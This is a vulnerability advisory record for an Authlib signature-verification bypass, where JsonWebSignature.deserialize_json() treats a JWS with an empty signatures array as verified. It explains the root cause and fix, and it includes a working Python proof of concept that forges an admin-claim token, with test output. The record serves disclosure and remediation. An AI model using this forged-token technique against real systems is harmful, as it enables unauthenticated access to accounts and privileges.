{"id":"CVE-2026-96760","aliases":["CVE-2026-96760","GHSA-6v38-4h7w-rj9h"],"related":[],"kind":"vulnerability","state":"published","title":"Authlib library contains a signature‑verification bypass vulnerability","summary":"Authlib (v1.8.0 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Authlib (v1.8.0 and below) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.","source":"cvelist"},{"lang":"en","text":"Authlib (prior to 1.9.0) contains a signature verification bypass vulnerability. The JsonWebSignature.deserialize_json() method accepts a JSON Serialization JWS object and returns the payload as successfully verified without checking for a signature and without requiring a cryptographic key.\n\n## Root cause\n\n`authlib/jose/rfc7515/jws.py`, read on the installed 1.8.0 artifact:\n\n```python\nis_valid = True                        # set before anything is checked\nfor header_obj in obj[\"signatures\"]:   # empty array means the body never runs\n    jws_header, valid = self._validate_json_jws(...)\n    if not valid:\n        is_valid = False\n...\nif is_valid:\n    return rv                          # returns the payload as verified\n```\n\n`is_valid` is initialised to `True` and only ever set to `False` from inside the loop. A JWS JSON\nSerialization object whose `signatures` array is empty iterates zero times, so the flag survives and\nthe payload is returned as successfully verified. No key is consulted, because no signature is\nexamined.\n\n## Reproduction\n\n```python\nimport base64\nfrom authlib.jose import JsonWebSignature\n\ndef b64(b):\n    return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\n\njws = JsonWebSignature()\npayload = b'{\"sub\":\"attacker\",\"role\":\"admin\"}'\nforged = {\"payload\": b64(payload), \"signatures\": []}\n\nprint(jws.deserialize_json(forged, key=None))\n```\n\nObserved on authlib 1.8.0, Python 3.14, clean virtualenv:\n\n```\n[A] ATTACK   general JSON, signatures:[] , key=None\n    ACCEPTED  -> {'header': [], 'payload': b'{\"sub\":\"attacker\",\"role\":\"admin\"}'}\n[B] ATTACK   general JSON, signatures:[] , key=<real key>\n    ACCEPTED  -> {'header': [], 'payload': b'{\"sub\":\"attacker\",\"role\":\"admin\"}'}\n[C] CONTROL+ genuine general JSON with 2 signatures, right key\n    ACCEPTED (expected) payload= b'{\"sub\":\"attacker\",\"role\":\"admin\"}'\n[D] CONTROL- same object, first signature corrupted\n    rejected (expected): BadSignatureError bad_signature:\n[E] CONTROL- signatures array removed entirely (not empty, absent)\n    rejected: DecodeError Missing \"protected\" value:\n```\n\n[C] proves the verifier works normally on a genuine object, so a deployment looks healthy. [D] proves\ntampering is caught. [E] proves this is specifically the empty-array case and not a general\nmissing-member bug. [A] and [B] are the bypass, and [B] shows that holding the correct key does not\nsave a caller: the empty array is accepted either way.\n\nFor comparison, joserfc 1.7.5, the library this module's deprecation warning points users to, rejects\nthe identical object with `BadSignatureError`. The correct behaviour already exists in your newer\nlibrary.\n\n## Impact\n\nAny relying party that calls `JsonWebSignature.deserialize_json()` on input it did not produce will\naccept an attacker-authored payload as signed. Where that payload carries identity or authorisation\nclaims, this is a complete authentication bypass by an unauthenticated remote caller with no key\nmaterial. \n\n## What would fix it\n\nIn `_deserialize_json`, reject an empty `signatures` array before the loop, or initialise the flag\nfrom the signature count, for example `is_valid = len(obj[\"signatures\"]) > 0`. Pull request #938\nproposes the same thing.","format":"markdown","source":"ghsa"}],"published":"2026-09-28T19:37:58.973Z","modified":"2026-11-11T16:17:25.750Z","severity":{"scorer":"CISA-ADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},"severities":[{"scorer":"CISA-ADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"rating":"CRITICAL"}],"cwes":["CWE-20","CWE-347","CWE-358","CWE-670"],"affected":[{"ranges":[{"version":"1.8.0","status":"affected"}],"vendor":"Authlib","product":"Authlib","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.9.0"}],"ecosystem":"PyPI","package":"authlib","purl":"pkg:pypi/authlib","source":"ghsa"}],"references":[{"url":"https://github.com/authlib/authlib","tags":["package"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://kb.cert.org/vuls/id/762428","tags":["web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://www.kb.cert.org/vuls/id/762428","tags":["web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/authlib/authlib/security/advisories/GHSA-6v38-4h7w-rj9h","tags":["web"],"sources":["ghsa"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96760","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/authlib/authlib/pull/938","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/authlib/authlib/commit/6c11a02da8730914cea08ec195f1108a40dc6733","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/authlib/authlib/releases/tag/v1.9.0","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"certcc","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"total","date":"2026-10-01T13:57:45.534Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-96760","url":"https://www.cve.org/CVERecord?id=CVE-2026-96760","licence":"CVE Terms of Use","modified":"2026-11-11T15:46:59.138Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-6v38-4h7w-rj9h","url":"https://github.com/advisories/GHSA-6v38-4h7w-rj9h","licence":"CC-BY-4.0","modified":"2026-10-27T15:00:05.448Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-96760","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96760","licence":"Public domain","modified":"2026-11-11T16:17:25.750Z"}],"updatedAt":"2026-11-25T22:59:41.379Z","epss":{"score":0.00467,"percentile":0.42105,"date":"2026-12-01T12:00:22.000Z"}}